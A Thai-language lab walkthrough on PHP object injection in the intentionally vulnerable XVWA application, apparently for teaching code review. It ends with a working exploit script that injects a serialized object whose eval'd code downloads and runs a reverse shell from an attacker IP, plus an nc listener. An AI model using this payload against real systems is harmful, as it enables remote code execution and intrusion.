How to review vulnerable codes – A8: Insecure Deserialization – PHP object injection (2017)

 

บทนำ (Overview)

บทความนี้กล่าวถึงการวิเคราะห์ช่องโหว่ของที่สามารถ Run คำสั่ง PHP ประสงค์ร้าย โดยมีช่องทางผ่านพารามิเตอร์หนึ่งของ Request message แต่ค่าของ Parameter นั้น ๆ จะต้องส่งผ่านในลักษณะ PHP serialization เสียก่อน และค่าดังกล่าวจะถูก unserialization ที่ฝั่ง Server

ติดตั้งโปรแกรมช่องโหว่

  1. ดาวน์โหลดโปรแกรมช่องโหว่ XVWA  https://www.vulnhub.com/entry/xtreme-vulnerable-web-application-xvwa-1,209/
  2. ติดตั้งบน VMWARE
  3. เปิดใช้งานฐานข้อมูล mysql โดยใช้คำสั่ง
    sudo /etc/init.d/mysql start
    sudo /etc/init.d/mysql stop
    sudo /etc/init.d/mysql restart
    
  4. ใส่รหัสผ่าน
    User = xvwa
    Pass = toor
    
  5. ทดสอบเข้าหน้า Web page ที่ http://192.168.1.40/xvwa สามารถตรวจสอบ IP ได้โดยใช้ คำสั่ง
    Ifconfig
    

  6. สามารถ Login ผ่านหน้า Web page โดยใช้ username และ password ดังนี้
    //username:password
    admin:admin
    xvwa:xvwa
    user:vulnerable
    

ค้นหาช่องโหว่

  1. เชื่อมต่อ Proxy ผ่าน BURP สามารถติดตามได้จากบทความ
  2. ไปที่ menu PHP object injection
  3. จากนั้นกดปุ่ม Click here
  4. เราจะพบว่าโปรแกรม Burp สามารถตรวจจับช่องโหว่ ดังนี้ Serialized object in HTTP message โดยช่องโหว่ที่พบคือพารามีเตอร์ชื่อ R
    r=a:2:{i:0;s:4:%22XVWA%22;i:1;s:33:%22Xtreme%20Vulnerable%20Web%20Application%22;} 
    a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application”;}
    

  5. ที่หน้า Browser เราจะพบคำ Return กลับมา Xtreme Vulnerable Web Application

Source code review

  1. จากช่องโหว่ที่ค้นพบ โปรแกรมใช้งาน PHP serailization แต่ยังไม่รู้ว่านำไป unserialize แล้วไปทำอะไรต่อ
  2. พบ class ชื่อ PHPObjectInjection ที่มี property ชื่อ inject และ Magic method ถูกสร้างทิ้งเอาไว้
    class PHPObjectInjection{
    	public $inject;
    
               //คำสั่งใน construct จะทำงานอัตโนมัติเมื่อสร้าง object
    	function __construct(){
    
              }
        
          //เรียกใช้งานอัตโนมัติเมื่อมีการ Unserialize
         function __wakeup(){
               //isset() ใช้เพื่อตรวจสอบว่า "ตัวแปรนั้นๆ ได้ถูกกำหนดขึ้น และมีค่าที่ไม่ใช่ null หรือไม่"
              if(isset($this->inject)){
                      //eval ใช้ประมวลผลตัวแปรนั้น ๆ ถ้ามี code บรรจุอยู่สามารถประมวลผลได้
                      //$this หมายถึง class ปัจจุบัน PHPObjectInjection
                      //ดึงค่า inject มาประมวลผล
                    eval($this->inject);
             }
        }
    }
    
  3. เราสามารถเรียกลำดับการทำงานของ Magic method ก่อนหลังได้ดังนี้
  4. พบว่า พารามิเตอร์ r ถูกนำมา unserialize
    $var1=unserialize($_REQUEST['r']);
    //จะได้เป็น $var1=unserialize(a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application”;});
    //โดยที่
    a คือ array (2 ช่อง)
    i คือ index เป็น integer (0 และ 1)
    s คือ string (0 คือ XVWA และ 1 คือ Xtreme Vulnerable Web Application)
    
  5. สุดท้ายจะแสดงผลที่ตามผลลัพธ์ข้างล่าง
    echo "".$var1[0]." - “.$var1[1];
    
  6. อย่างไรก็ตามเราพบว่า PHPObjectInjection ที่เป็นช่องโหว่ดังกล่าว ยังไม่มีการสร้าง object เพื่อใช้งาน โดย object หนึ่งสามารถสร้างขึ้นได้จาก Class ที่ถูกกำหนดไว้อยู่แล้วที่ Sourcecode หลังผ่าน จากการตรวจสอบ Class ที่ชื่อ PHPObjectInjection พบว่าการที่เราจะเข้าไปถึงส่วน eval ได้นั้นจะต้อง
    • สร้าง object จาก class PHPObjectInjection
    • กำหนดให้ $inject ไม่เป็นค่าว่าง ดังนั้นค่าดังกล่าวจะเป็นฟังชัน php ที่ประมวลได้
      function __wakeup(){
                  if(isset($this->inject)){
                      eval($this->inject);
                  }
              }
      

  7. เราสามารถสร้าง Object ที่ Serailized จากชื่อ Class และ Property ที่เราพบโดย ให้สร้างไฟล์ php โดยมีคำสั่งดังนี้
    <?php class PHPObjectInjection { //public $inject="system('whoami');"; public $inject="phpinfo();"; } $obj=new PHPObjectInjection(); var_dump(serialize($obj)); ?>
    
  8. จากนั้นทดลอง Run คำสั่ง
    php test.php
    
  9. เอาผลลัพธ์ที่ได้ไปแทนที่ object เดิมของพารามิเตอร์ r
    http://192.168.1.40/xvwa/vulnerabilities/php_object_injection/?r=O:18:%22PHPObjectInjection%22:1:{s:6:%22inject%22;s:10:%22phpinfo();%22;}
    
  10. จะพบว่าสามารถประมวลผล phpinfo() ได้ เนื่องจากคำสั่ง
    eval($this->inject);
    


Exploitation

  1. เปิด apache2

    service apache2 start

  2. สร้าง php reverse shell เอา save เป็น .txt ไปไว้ในโฟลเดอร์ var/www/html และเปลี่ยน permission everyone read สามารถดาวน์โหลด reverse shell ได้จาก
    http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
    
  3. แก้ไข IP เป็นเครื่อง ติดต่อกลับ
  4. ใช้งาน Exploit โดยเปลี่ยน URL ดาวน์โหลด reverseshell และ URL ที่เป็นช่องโหว่
    <?php system('gnome-terminal -x sh -c \'nc -lvvp 1234\''); class PHPObjectInjection { public $inject = "system('wget http://192.168.1.46/shell.txt -O shell.php && php shell.php');"; } $url ='http://192.168.1.40/xvwa/vulnerabilities/php_object_injection/?r='; $obj=new PHPObjectInjection(); $url = $url . urlencode(serialize($obj)); $response =file_get_contents("$url"); ?>
    
  5. สามารถได้ reverse shell ดังภาพ

อ้างอิง

ใส่ความเห็น